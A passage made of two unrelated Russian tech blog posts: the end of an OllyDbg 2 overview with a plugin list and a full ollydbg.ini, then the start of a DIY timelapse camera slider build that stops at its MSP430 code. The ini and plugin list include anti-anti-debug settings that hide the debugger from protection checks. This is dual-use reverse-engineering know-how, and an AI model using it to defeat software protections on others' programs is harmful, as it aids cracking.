* Отображение SEH VEH обработчиков. Чтобы декодировать адреса VEH обработчиков, OllyDbg модифицирует NTDLL.RtlAddVectoredExceptionHandler(), поэтому процесс должен быть запущен из OllyDbg.
* Поддержка мультибайтовой кодировки в окне дампа.
* .udl библиотеки, замена объектов с версии 1.10.
* Поиск целых и плавающих чисел в окне дампа.
* Поиск процедур (точки входа)
* Лимитированная поддержка для NTFS потоков.
* Дамп диска.
* Точки останова которые используют INT1, HLT, CLI, STI или INSB вместо INT3.
* Несколько просмотров в одной линии, поддержка повторений.
* Дамп массивов структур.
* Микро-анализаторы.
* Ускоренный поиск.
* Ассемблирование заявленных данных (DB xx и т.д)
* Подсветка в «run trace».
* До 2х ординалов на адрес.
* Лимитированная поддержка для Win95 через Microsoft Layer для Юникода.
* Анализ более сложных последовательностей кода.
* Показать свободную память.
* Множество исправлений.
В архиве с OllyDbg 2 так же идет тестовое приложение, для показа новых возможностей, демонстрация исправлений багов 1 версии.
Список плагинов для второй версии на которые стоит обратить внимание:
* [OD2-ExPlug](http://tuts4you.com/download.php?view.3482) — Добавляет много полезных вещей, которые упрощают использование OllyDbg.
* [LuaJIT](http://tuts4you.com/download.php?view.3512) — Lua скриптинг в OllyDbg.
* [OllyDbg2-python](https://github.com/0vercl0k/ollydbg2-python) — Python скриптинг в OllyDbg.
* [OllyExt](http://tuts4you.com/download.php?view.3392) — Anti-AntiDebug.
* [OllyDumpEx](http://tuts4you.com/download.php?view.3212) — Отличный дампер процессов.
* [OllyMigrate](http://tuts4you.com/download.php?view.3464) — Миграция между отладчиками.
* [Swordfish](http://tuts4you.com/download.php?view.3455) — Быстрая установка точек останова через меню.
* [RenameOD](http://tuts4you.com/download.php?view.3461) — Позволяет переименовывать ollydbg и правит плагины, для того чтобы они работали.
* [Multiline Ultimate Assembler](http://tuts4you.com/download.php?view.3404) — Удобный внутренний ассемблер, для вставки/копирования кода.
* [CleanUpEx](http://tuts4you.com/download.php?view.3196) — Очистка каталога OllyDbg.
* [uberstealth](https://code.google.com/p/uberstealth/) — Anti-AntiDebug основанный на коде IdaStealth.
Для быстрой настройки OllyDbg выкладываю ini файл. После замены необходимо будет настроить директории (Options->Options->Directories)
Выглядеть будет так:
**ollydbg.ini**
```
[Settings]
Check DLL versions=0
Topmost window=0
Show main menu items that don't apply=0
Show popup items that don't apply=0
Show toolbar=1
Use system colours in toolbar=0
Status in toolbar=0
Flash duration=1
Autoupdate interval=4
Mode of main window=0
Restore windows=236799
Restore window positions=1
Restore width of columns=0
Restore sorting criterium=1
Highlight sorted column=1
Right click selects=1
Index of default font=1
Index of default colours=0
Code highlighting=0
Horizontal scroll=0
Snow-free drawing=1
Append arguments=1
Allow diacritical symbols=0
Decode pascal strings=1
Use IsTextUnicode=0
String decoding=0
File graph mode=1
Dialog font mode=0
Font in dialogs=0
Align dialogs=1
Global search=1
Aligned search=0
Ignore case=0
Search direction=1
Floating search with margin=0
Allow extra commands in sequence=1
Allow jumps into the sequence=0
Keep size of hex edit selection=0
Sorting mode of error list=0
Modify FPU tag=0
MMX display mode=0
Show tooltips in dialog windows=1
X options coordinate=460
Y options coordinate=377
Last selected options pane=13
Last edited font in options=3
Last edited scheme in options=0
Last edited colour index in options=6
Last edited highlighting in options=1
Last edited highlighting index in options=16
Warnmode when not administrator=0
Warnmode for packed code in Analyzer=0
Warnmode when process is still running=6
Warnmode when INT3 breakpoint is corrupt=1
Warnmode when INT3 set on non-command=0
Warnmode when clipboard size too large=0
Warnmode when all threads are suspended=0
Warnmode when thread is changed=0
Warnmode when executable differs from udd=7
Warnmode when INT3 in udd has different cmd=0
Warnmode when fixups are modified=0
Warnmode when memory breakpoint on stack=0
Warnmode when modified debug registers=0
Only ASCII printable in dump=1
Underline fixups=1
Show jump direction=1
Show jump path=1
Show path if jump is not taken=1
Fill rest of command with NOPs=0
Action on letter key in Disassembler=2
Wide characters in UNICODE dumps=1
Automatically backup user code=0
IDEAL disassembling mode=0
Disassemble in lowercase=0
Separate arguments with TAB=0
Extra space between arguments=0
Show default segments=0
Always show memory size=1
NEAR jump modifiers=0
Use short form of string commands=0
Use RET instead of RETN=1
SSE size decoding mode=0
Jump hint decoding mode=0
Size sensitive mnemonics=1
Top of FPU stack=1
Show symbolic addresses=1
Show local module names=1
Demangle symbolic names=0
First pause=1
Pause on attach=1
Assume flat selectors=0
Ignore access violations in KERNEL32=1
Ignore INT3=1
Ignore TRAP=1
Ignore access violations=0
Ignore division by 0=1
Ignore illegal instructions=1
Ignore all FPU exceptions=1
Ignore custom exception ranges=1
Call UnhandledExceptionFilter=1
Report ignored exceptions to log=1
Autoreturn=0
Use DebugBreakProcess=0
Use ExitProcess=0
Warn when frequent breaks=1
Allow command emulation=0
Debug child processes=0
Animation delay index=0
Stop on new DLL=0
Stop on DLL unload=0
Stop on debug string=0
Stop on new thread=0
Stop on thread end=0
Run trace protocolling options=0
Run trace buffer size index=2
Trace over system DLLs=1
Trace over string commands=1
Save traced commands=0
Save accessed memory to trace=0
Save FPU registers to trace=0
Synchronize CPU and Run trace=1
Set breakpoints on callbacks in hit trace=0
Hit trace mode for indirect jumps=0
Stop hit trace if not command=0
Hit trace outside the code section=2
Show symbolic names in protocol range list=0
Use predictions in search=1
References include indirect jumps=1
Add origin to search results=0
Default resource language=9
Gray inactive windows=1
Gray register names=0
Center FOLLOWed command=1
Decode registers for any IP=0
Automatically select register type=0
Enable SSE registers=1
Label display mode=2
Highlight symbolic labels=0
Log buffer size index=2
Tabulate columns in log file=0
Append data to existing log file=0
Auto analysis=0
No predicted registers in system DLLs=0
Fuzzy analysis=1
Report problems during analysis=0
Decode tricks=1
Mark tricks=0
Decode ifs as switches=0
Functions preserve registers=1
Guess number of arguments=1
Guess arguments from mangled names=0
Guess meaning of guessed arguments=1
Show uncertain arguments=1
Rename value dependent arguments=0
Show predicted values=1
Show ARG and LOCAL in disassembly=1
Use symbolic names for ARG and LOCAL=1
Show ARG and LOCAL in comments=1
Show loops=1
Accept far calls and returns=0
Accept direct segment modifications=0
Accept privileged commands=0
Accept I/O commands=0
Accept NOPs=1
Accept shifts out of range=0
Accept superfluous prefixes=0
Accept default prefixes=1
Accept valid LOCK prefixes=1
Accept unaligned stack operations=1
Accept suspicious ESP operations=0
Accept non-standard command forms=1
Accept access to nonexisting memory=1
Accept interrupt commands=1
Index of default UNICODE font=1
Warnmode when unable to close process=0
Show grayed path if jump is not taken=1
Remove code hilite on register hilite=1
Ignore braces in udd path=1
List sorting mode=0
Warnmode when launching loaddll=6
Visible lines when scrolling disasm=1
Pause on Loaddll=1
Stop only on selected modules=0
Enable use of debugging data=1
Use dbghelp to walk stack=0
Use Microsoft Symbol Server=0
Hide missing source files=1
Hide internal compiler names=1
Skip leading spaces from source=1
Hide Call DLL window on call=0
Pause after call to DLL is finished=1
Mark only important operands=0
Block external WM_CLOSE=1
Activate speech=0
Translate commands and registers=1
Skip leading zeros in hex numbers=1
Bring OllyDbg to top on pause=1
Put ASCII text to clipboard=0
Warnmode when breakpoint set on non-command=6
Warnmode when EIP set on non-command=0
Warnmode when active when closing OllyDbg=6
Warnmode when copy of executable file changed=1
Warnmode when EIP inside the patch=0
Code page for ASCII dumps=1252
Use hardware breakpoints for stepping=0
Ignore all service exceptions=1
Allow .NET debugging=0
Scan registry for GUIDs on starup=0
Allow automatic SFX extraction=0
SFX extraction mode=0
Use real SFX entry from previous run=1
Ignore SFX exceptions=1
Monitor internal memory allocation=0
Alternative forms of conditional commands=1
Permanent breakpoints on system code=0
Ignore INT3 in MSCORWKS=1
Keep hit trace between sessions=1
GUI language=0
Search accuracy=0
Warnmode when IAT is copied back to exe=0
Warnmode when IAT is autocopied back to exe=0
Code page for multibyte dumps=65001
Disable GDI scripting support=0
Show call arguments=0
Type of break command=4
Hide unimportant handles=1
Show original handle names=0
Hide current registers warning=0
Search for library functions=1
[OllyDbg]
Placement=449,140,1157,767,1
[History]
Data directory=\udd
Plugin directory=\plugin
Standard library directory=\udl
API help file=
Executable[0]=
Arguments[0]=
Current dir[0]=
Log file=log.txt
Trace save file=trace.txt
Last viewed file=
Last keyboard shortcuts file=shortcuts.ini
Previous JIT=
Debug data directory[0]=
Debug data directory[1]=
Debug data directory[2]=
Alternative initialization file=
Last object or library file=
Last image library file=
[CPU]
Placement=0,0,1005,610,3
Offset[0]=0
Offset[1]=-263
Offset[2]=1
Offset[3]=24
[CPU Disasm]
Appearance=3,6,1,0,6
Columns=63,119,280,1792
[CPU Info]
Appearance=7,6,0,0,0
[CPU registers]
Appearance=3,6,0,0,0
Local=2,72448
[CPU Dump]
Appearance=3,6,1,0,0
Columns=63,336,119
Local=00011001
[CPU Stack]
Appearance=3,6,0,0,0
Columns=63,70,35,1792
Local=000A0104
[Attach]
Appearance=7,6,1,0,0
Columns=63,84,196,1792
Sort=1
[Custom colours]
Custom colour[0]=97,178,48
Custom colour[1]=175,175,175
Custom colour[2]=255,4,4
Custom colour[3]=12,16,33
Custom colour[4]=12,16,33
Custom colour[8]=12,16,33
Custom colour[3]=255,57,57
Custom colour[5]=63,116,31
Custom colour[9]=45,50,67
Custom colour[12]=65,121,197
Custom colour[7]=63,116,31
Custom colour[6]=171,224,139
Custom colour[10]=171,224,139
Custom colour[11]=65,121,197
Custom colour[13]=251,222,45
Custom colour[14]=174,156,235
[Log data]
Placement=69,98,872,481,1
Appearance=3,6,1,0,0
Columns=63,1792
Sort=0
[Hardware breakpoints]
Placement=64,162,823,239,1
Appearance=7,3,1,0,0
Columns=35,63,63,63,84,280,1792
Sort=0
[Memory breakpoints]
Placement=3,310,883,239,1
Appearance=7,5,1,0,0
Columns=63,63,63,35,84,1792
Sort=0
[INT3 breakpoints]
Placement=67,86,881,486,1
Appearance=7,0,1,0,0
Columns=63,63,84,280,1792
Sort=0
[Threads]
Placement=78,23,632,239,1
Appearance=7,6,1,0,0
Columns=42,63,126,126,63,63,63,84,84,84
Sort=0
[Run trace data]
Placement=154,154,632,239,1
Appearance=7,6,1,0,0
Columns=63,56,63,63,280,168,1792
Sort=0
[Modules]
Placement=3,51,941,382,1
Appearance=7,6,1,0,0
Columns=63,63,63,112,84,112,280,1792
Sort=0
[Memory]
Placement=55,99,773,239,1
Appearance=7,6,1,0,0
Columns=63,63,112,70,168,35,56,56,1792
Sort=0
[Dump]
Appearance=7,6,1,0,0
Placement=43,43,902,417,1
[Filedump]
Appearance=7,6,1,0,0
[Search]
Placement=176,34,717,506,1
Appearance=7,6,1,0,0
[Watches]
Placement=91,102,584,223,1
Appearance=7,6,1,0,0
Columns=280,280
Sort=0
[Namelist]
Appearance=7,6,1,0,0
Sort=0
Placement=300,300,922,234,1
Columns=63,63,77,56,280,1792
[Command help]
Placement=250,250,333,173,1
Appearance=1,6,0,0,0
[Window Maximizer]
Plugin is active=1
[Vic Plug-In 2]
Maximize ollydbg window=1
Maximize current MDI window=1
Transparent ollydbg window=255
Show toolbar on ollydbg title=2
Hide the PEB=0
[OllyExt]
IsDebuggerPresent=1
NtGlobalFlag=0
HeapFlags=1
ForceFlags=1
CheckRemoteDebuggerPresent=1
OutputDebugString=1
CloseHandle=1
SeDebugPrivilege=1
BlockInput=1
ProcessDebugFlags=1
ProcessDebugObjectHandle=1
TerminateProcess=1
NtSetInformationThread=1
NtQueryObject=1
FindWindow=1
NtOpenProcess=1
Process32Next=1
ParentProcess=1
Caption=1
KillAntiAttach=1
GetTickCount=0
TimeGetTime=1
QueryPerformanceCounter=1
ZwGetContextThread=1
NtSetContextThread=1
Process32First=1
KdDebuggerNotPresent=1
KdDebuggerEnabled=1
NtSetDebugFilterState=1
ProtectDRX=1
HideDRX=1
DbgPrompt=1
RDTSC=0
RDTSC_DRV=0
CodeRipperSyntax=0
DataRipperSyntax=0
CreateThread=1
[Windows]
Placement=14,78,793,182,1
Appearance=1,6,1,0,0
Columns=78,192,54,54,54,48,54,54,54,54,72
Sort=0
[Search tab]
Appearance[3]=1,6,1,0,0
Columns[3]=54,240,1536
Sort[3]=0
Appearance=1,6,1,0,0
Columns=63,56,63,63,280,168,1792
Sort=0
Appearance[1]=1,0,1,0,0
Columns[1]=54,240,1536
Sort[1]=0
Appearance[8]=1,6,1,0,0
Columns[8]=54,240,54,210,1536
Sort[8]=3
[Bookmarks]
Restore window=0
Show bookmarks in Disassembler=1
[Call Stack]
Placement=99,84,668,182,1
Appearance=1,6,1,0,0
Columns=54,54,270,168,54
Sort=0
[Dialog placement]
Enter string=2385,39
Select range of exception codes=1923,67
Assemble=2385,74
Set breakpoint=2697,169
Command search=2385,96
Search for data=3339,178
Edit register=3422,104
Known jumps and calls=667,75
Edit data=1069,368
Enter search string=3380,112
Shortcut editor=4,50
Enter new command line arguments=0,46
Create standard function library=163,79
Drive extent=0,46
Select structure=2441,429
[Goto]
Appearance=1,0,0,0,0
[Multiline Ultimate Assembler]
tabs_path=.\multiasm
pos_x=283
pos_y=61
pos_w=490
pos_h=349
[OllySEH]
Placement=154,203,595,182,1
Appearance=1,0,1,0,0
Columns=90,90,90,1536
Sort=0
[AAHWBP]
AntiAntiHWBPOn=1
[Vic Plug-In 2]
Maximize ollydbg window=1
Maximize current MDI window=0
Transparent ollydbg window=255
Show toolbar on ollydbg title=1
Hide the PEB=0
[Shortcut editor]
Appearance=1,0,1,0,0
[OllySkin2]
skinPath=.\Skin\kupo2o.msstyles
Enable=0
[Trace API]
Restore window=0
[List of libraries]
Appearance=1,0,1,0,0
Columns=300,1536
Sort=0
[Patches]
Placement=22,29,895,182,1
Appearance=1,0,1,0,0
Columns=54,54,30,48,192,192,1536
Sort=0
[Arguments]
Current dir[0]=
Current dir[1]=
Current dir[2]=
Current dir[3]=
Current dir[4]=
Current dir[5]=
Current dir[6]=
Current dir[7]=
Current dir[8]=
Current dir[9]=
Current dir[10]=
Current dir[11]=
Current dir[12]=
Current dir[13]=
Current dir[14]=
Current dir[15]=
[Handles]
Placement=260,260,1932,187,1
Appearance=1,6,1,0,0
Columns=54,90,36,54,24,120,1530
Sort=0
[Hit Trace Difference]
Placement=300,300,567,186,1
Appearance=1,0,1,0,0
Columns=54,480
Sort=0
[Dump[2]]
Placement=25,25,471,186,1
[Dump[2]]
Appearance=1,0,1,0,0
[Dump[1]]
Placement=0,0,477,186,1
[Dump[1]]
Appearance=1,0,1,0,0
[Dump[9]]
Placement=275,275,477,186,1
[Dump[9]]
Appearance=1,0,1,0,0
[Dump[8]]
Placement=250,250,477,186,1
[Dump[8]]
Appearance=1,0,1,0,0
[Dump[7]]
Placement=1284,319,477,186,1
[Dump[7]]
Appearance=1,0,1,0,0
[Dump[6]]
Placement=-16,609,477,186,1
[Dump[6]]
Appearance=1,0,1,0,0
[Dump[4]]
Placement=442,682,477,186,1
[Dump[4]]
Appearance=1,0,1,0,0
[Dump[5]]
Placement=175,175,477,186,1
[Dump[5]]
Appearance=1,0,1,0,0
[Dump[3]]
Placement=1252,132,477,186,1
[Dump[3]]
Appearance=1,0,1,0,0
[Dump[2]]
Placement=1030,577,477,186,1
[Dump[2]]
Appearance=1,0,1,0,0
[Dump[1]]
Placement=0,0,471,186,1
[Dump[1]]
Appearance=1,6,1,0,6
[Registers]
Placement=801,114,429,476,1
Appearance=1,6,1,0,0
Local=0,0
[SEH chain]
Placement=300,300,297,186,1
Appearance=1,0,1,0,0
Columns=36,54,54,120
Sort=0
[Dump[4]]
Placement=75,75,477,186,1
[Dump[4]]
Appearance=1,0,1,0,0
[Dump[3]]
Placement=50,50,477,186,1
[Dump[3]]
Appearance=1,0,1,0,0
[Dump[2]]
Placement=25,25,477,186,1
[Dump[2]]
Appearance=1,0,1,0,0
[Dump[1]]
Placement=0,0,477,186,1
[Dump[1]]
Appearance=1,0,1,0,0
[Dump[9]]
Placement=275,275,477,186,1
[Dump[9]]
Appearance=1,0,1,0,0
[Dump[8]]
Placement=250,250,477,186,1
[Dump[8]]
Appearance=1,0,1,0,0
[Dump[7]]
Placement=225,225,477,186,1
[Dump[7]]
Appearance=1,0,1,0,0
[Dump[6]]
Placement=200,200,477,186,1
[Dump[6]]
Appearance=1,0,1,0,0
[Dump[5]]
Placement=175,175,477,186,1
[Dump[5]]
Appearance=1,0,1,0,0
[Dump[4]]
Placement=150,150,477,186,1
[Dump[4]]
Appearance=1,0,1,0,0
[Dump[3]]
Placement=125,125,477,186,1
[Dump[3]]
Appearance=1,0,1,0,0
[Dump[2]]
Placement=100,100,477,186,1
[Dump[2]]
Appearance=1,0,1,0,0
[Dump[1]]
Placement=75,75,477,186,1
[Dump[1]]
Appearance=1,0,1,0,0
[Dump[5]]
Placement=125,125,477,186,1
[Dump[5]]
Appearance=1,0,1,0,0
[Dump[4]]
Placement=100,100,477,186,1
[Dump[4]]
Appearance=1,0,1,0,0
[Dump[3]]
Placement=75,75,477,186,1
[Dump[3]]
Appearance=1,0,1,0,0
[Dump[2]]
Placement=50,50,477,186,1
[Dump[2]]
Appearance=1,0,1,0,0
[Dump[1]]
Placement=25,25,477,186,1
[Dump[1]]
Appearance=1,0,1,0,0
[Dump[9]]
Placement=250,250,477,186,1
[Dump[9]]
Appearance=1,0,1,0,0
[Dump[8]]
Placement=225,225,477,186,1
[Dump[8]]
Appearance=1,0,1,0,0
[Dump[7]]
Placement=939,605,477,186,1
[Dump[7]]
Appearance=1,0,1,0,0
[Dump[6]]
Placement=339,477,477,186,1
[Dump[6]]
Appearance=1,0,1,0,0
[Dump[5]]
Placement=853,320,477,186,1
[Dump[5]]
Appearance=1,0,1,0,0
[Dump[4]]
Placement=125,125,477,186,1
[Dump[4]]
Appearance=1,0,1,0,0
[Dump[3]]
Placement=710,555,477,186,1
[Dump[3]]
Appearance=1,0,1,0,0
[Dump[2]]
Placement=295,497,477,186,1
[Dump[2]]
Appearance=1,0,1,0,0
[Dump[1]]
Placement=830,473,477,186,1
[Dump[1]]
Appearance=1,0,1,0,0
[Dump[1]]
Placement=25,25,477,186,1
[Dump[1]]
Appearance=1,0,1,0,0
[Dump[3]]
Placement=125,125,477,186,1
[Dump[3]]
Appearance=1,0,1,0,0
[Dump[3]]
Placement=150,150,477,186,1
[Dump[3]]
Appearance=1,0,1,0,0
[Dump[2]]
Placement=808,413,477,186,1
[Dump[2]]
Appearance=1,0,1,0,0
[Dump[1]]
Placement=75,75,477,186,1
[Dump[1]]
Appearance=1,0,1,0,0
[Dump[1]]
Placement=25,25,477,186,1
[Dump[1]]
Appearance=1,0,1,0,0
[Dump[6]]
Placement=718,489,477,186,1
[Dump[6]]
Appearance=1,0,1,0,0
[Dump[5]]
Placement=217,450,477,186,1
[Dump[5]]
Appearance=1,0,1,0,0
[Dump[4]]
Placement=150,150,477,186,1
[Dump[4]]
Appearance=1,0,1,0,0
[Dump[3]]
Placement=125,125,477,186,1
[Dump[3]]
Appearance=1,0,1,0,0
[Dump[2]]
Placement=100,100,477,186,1
[Dump[2]]
Appearance=1,0,1,0,0
[Dump[1]]
Placement=75,75,477,186,1
[Dump[1]]
Appearance=1,0,1,0,0
[Dump[2]]
Placement=75,75,477,186,1
[Dump[2]]
Appearance=1,0,1,0,0
[Dump[4]]
Placement=407,374,477,186,1
[Dump[4]]
Appearance=1,0,1,0,0
[Dump[3]]
Placement=125,125,477,186,1
[Dump[3]]
Appearance=1,0,1,0,0
[Dump[2]]
Placement=100,100,477,186,1
[Dump[2]]
Appearance=1,0,1,0,0
[Dump[1]]
Placement=50,50,477,186,1
[Dump[1]]
Appearance=1,0,1,0,0
[Ignored exceptions]
Range[0]=0 e06d7363
[Colour schemes]
Scheme name[0]=Black on white
Foreground_1[0]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Foreground_2[0]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_1[0]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_2[0]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Operands[0]=0
Modified commands[0]=0
Scheme name[1]=Yellow on blue
Foreground_1[1]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Foreground_2[1]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_1[1]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_2[1]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Operands[1]=0
Modified commands[1]=0
Scheme name[2]=Marine
Foreground_1[2]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Foreground_2[2]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_1[2]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_2[2]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Operands[2]=0
Modified commands[2]=0
Scheme name[3]=Mostly black
Foreground_1[3]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Foreground_2[3]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_1[3]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_2[3]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Operands[3]=0
Modified commands[3]=0
Scheme name[4]=Scheme 4
Foreground_1[4]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Foreground_2[4]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_1[4]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_2[4]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Operands[4]=0
Modified commands[4]=0
Scheme name[5]=Scheme 5
Foreground_1[5]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Foreground_2[5]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_1[5]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_2[5]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Operands[5]=0
Modified commands[5]=0
Scheme name[6]=Blackboard
Foreground_1[6]=F0F0F0,F0FBFF,AFAFAF,404FF,F0FBFF,F0FBFF,F0FBFF,F0FBFF,FFFFFF,F0FBFF,*,*,*,*,*,*
Foreground_2[6]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_1[6]=21100C,21100C,21100C,21100C,3939FF,C57941,EB9CAE,C57941,21100C,43322D,*,*,*,*,*,*
Background_2[6]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Operands[6]=0
Modified commands[6]=0
Scheme name[7]=Scheme 7
Foreground_1[7]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Foreground_2[7]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_1[7]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_2[7]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Operands[7]=0
Modified commands[7]=0
[Highlighting schemes]
Scheme name[1]=Christmas tree
Foreground_1[1]=*,*,*,*,*,*,*,*,*,*,*,*,0,0,*,*
Foreground_2[1]=0,0,*,FF00FF,*,FF,*,*,0,*,*,800000,800000,*,808080,*
Background_1[1]=*,*,*,*,*,*,*,*,*,*,*,*,FFFFFF,*,*,*
Background_2[1]=FFFF00,FFFF00,*,A4A0A0,C0C0C0,808080,*,*,F0FBFF,*,*,*,F0FBFF,*,F0FBFF,*
Operands[1]=1
Modified commands[1]=1
Scheme name[2]=Jumps and calls
Foreground_1[2]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Foreground_2[2]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_1[2]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_2[2]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Operands[2]=0
Modified commands[2]=0
Scheme name[3]=Memory access
Foreground_1[3]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Foreground_2[3]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_1[3]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_2[3]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Operands[3]=1
Modified commands[3]=1
Scheme name[4]=Hilite 4
Foreground_1[4]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Foreground_2[4]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_1[4]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_2[4]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Operands[4]=0
Modified commands[4]=0
Scheme name[5]=Hilite 5
Foreground_1[5]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Foreground_2[5]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_1[5]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_2[5]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Operands[5]=0
Modified commands[5]=0
Scheme name[6]=Blackboard
Foreground_1[6]=*,*,*,*,*,*,*,*,*,*,*,*,FFF,3939FF,3939FF,FFFF
Foreground_2[6]=3939FF,3939FF,*,*,*,*,*,*,C57941,C57941,*,8BE0AB,30B261,8BE0AB,30B261,*
Background_1[6]=*,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_2[6]=*,*,*,3939FF,*,*,*,*,*,*,*,*,*,*,*,*
Operands[6]=1
Modified commands[6]=1
Scheme name[7]=Hilite 7
Foreground_1[7]=*,*,*,*,*,*,*,*,*,*,*,*,*,FF0000,30B261,*
Foreground_2[7]=404FF,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Background_1[7]=*,*,*,*,*,*,*,*,*,*,*,*,*,21100C,21100C,*
Background_2[7]=21100C,*,*,*,*,*,*,*,*,*,*,*,*,*,*,*
Operands[7]=1
Modified commands[7]=1
[Fonts]
Font name[0]=OEM fixed font
Font data[0]=0,0,0,0,0,0,0,0,0,0,0,10
Face name[0]=
Font name[1]=Terminal 6
Font data[1]=9,6,700,0,0,0,255,0,1,1,0,0
Face name[1]=Terminal
Font name[2]=System fixed font
Font data[2]=0,0,0,0,0,0,0,0,0,0,0,16
Face name[2]=
Font name[3]=Courier (UNICODE)
Font data[3]=14,0,400,0,0,0,1,2,5,-2,0,0
Face name[3]=Courier New
Font name[4]=Lucida (UNICODE)
Font data[4]=10,6,400,0,0,0,1,2,5,0,0,0
Face name[4]=Lucida Console
Font name[5]=Font 5
Font data[5]=9,6,700,0,0,0,255,0,1,1,0,0
Face name[5]=Terminal
Font name[6]=Font 6
Font data[6]=-12,0,400,0,0,0,255,1,49,0,0,0
Face name[6]=Terminal
Font name[7]=Font 7
Font data[7]=14,0,400,0,0,0,1,2,5,-2,0,0
Face name[7]=Courier New
[Shortcuts]
Go to previous history location=01002D (Minus (-))
Go to next history location=01003D ('=')
Set register to 1=040061 (Ctrl+Numeric 1)
List jumps and calls to command=08004A (Alt+J)
```
Удачных исследований! | https://habr.com/ru/post/201576/ | null | ru | null |
# Бюджетный TimeLapse Slider своими руками
Всем привет. Хочу поделиться опытом в изготовлении простого и бюджетного TimeLapse слайдера длинной 2 метра для камеры (в моем случае в качестве камеры выступает телефон).
Необходимость в изготовлении появилась в связи с желанием принять участие в фестивале мобильного кино Velcom SmartFilm 2013, который проходит в Беларуси.
И так… Слайдер состоит из 2-х основных частей: механической (направляющие, движущаяся каретка и механизм перемещения) и электрической (мотор и система управления). Если с последней частью слайдера всё было более менее понятно — связка LaunchPad MSP430 + драйвер L298N + биполярный шаговый двигатель от старого принтера. То механика заставила изрядно подумать, ведь всё должно быть «дешево и сердито». Варианты с покупными направляющими отпала сразу после изучения цен на них. И в итоге, после долгих поисков по интернету, остановился на использовании пластикового короба для прокладки кабелей шириной 60мм. Он оказался вполне прочным и гладким для ровного движения каретки, но слишком гибким и поэтому защелкивающаяся крышка короба была прикручена саморезами к клеенной доске подходящих размеров (толщиной 15мм, шириной 90мм и длинной чуть больше длинны короба). Далее защелкиваем короб на крышку и получаем нашу направляющую. По краям доски проделаны отверстия для крепления съемных площадок для штативов.
Модель каретки была взята очень даже распростроненная на просторах интернета. Сложного ничего нет: аллюминиевый уголок (можно купить в ближайшем строительном магазине, только брать рекомендую тот что потолще), 8 подшипников (я нашел с внутренним диаметром 8мм) и немного гаек, болтов, шайб и гравёрок. Отрезаем, сверлим и собираем. Самое главное правильно разметить отверстия для крепления подшипников, иначе каретка будет соприкасаться с поверхность короба не всеми подшипниками и появится небольшой люфт.
Вид на каретку сверху
Каретка вверх ногами
Механизмом перемещения изначально планировалось использовать шпильку длинной 2 метра и гайку, но шпилька провисала так сильно что даже уменьшение длинный слайдера до 1,4 метра не позволили использовать её. Единственным верным и правильным решением оставалось использование зубчатого ремня, но под рукой его не было а заказывать из Китая и ждать меня не устраивало (поджимали сроки фестиваля). Как-то случайно в голову пришла мысль об использовании нити вместо ремня. Первые испытания превзошли все ожидания — это работало и работало очень хорошо. Сделано было так: с одной стороны слайдера на высоте вала, закрепленного шагового двигателя. привязывалась нейлоновая нить, далее делался один виток вокруг вала двигателя и затем нить натягивалась и привязывалась с другой стороны слайдера.
Переходим к электрической части.
Система управления умеет регулировать скорость от 1 до 1024 шагов двигателя в секунду и менять направления движения. Скромно, но мне большего и не надо.
«Мозгом» системы управления выступает LaunchPad MSP430 (msp430g2553). Код очень простой и написан на Energia. Код универсален и легко может быть переделан под любую плату Arduino. И хотя на биполярном шаговом двигателе было написано 400 шагов на оборот, но на практике оказалось только 200. Для увеличения плавности работы на низких скоростях решил использовать управление двигателем в режиме полушага и мы получаем наши 400 шагов/об. обратно.
**Код программы для MSP430**
```
/* Программа управления слайдером для съемки Time Lapse */
int m1=8;
int m2=9;
int m3=10;
int m4=11;
int key=5;
int analog=A0;
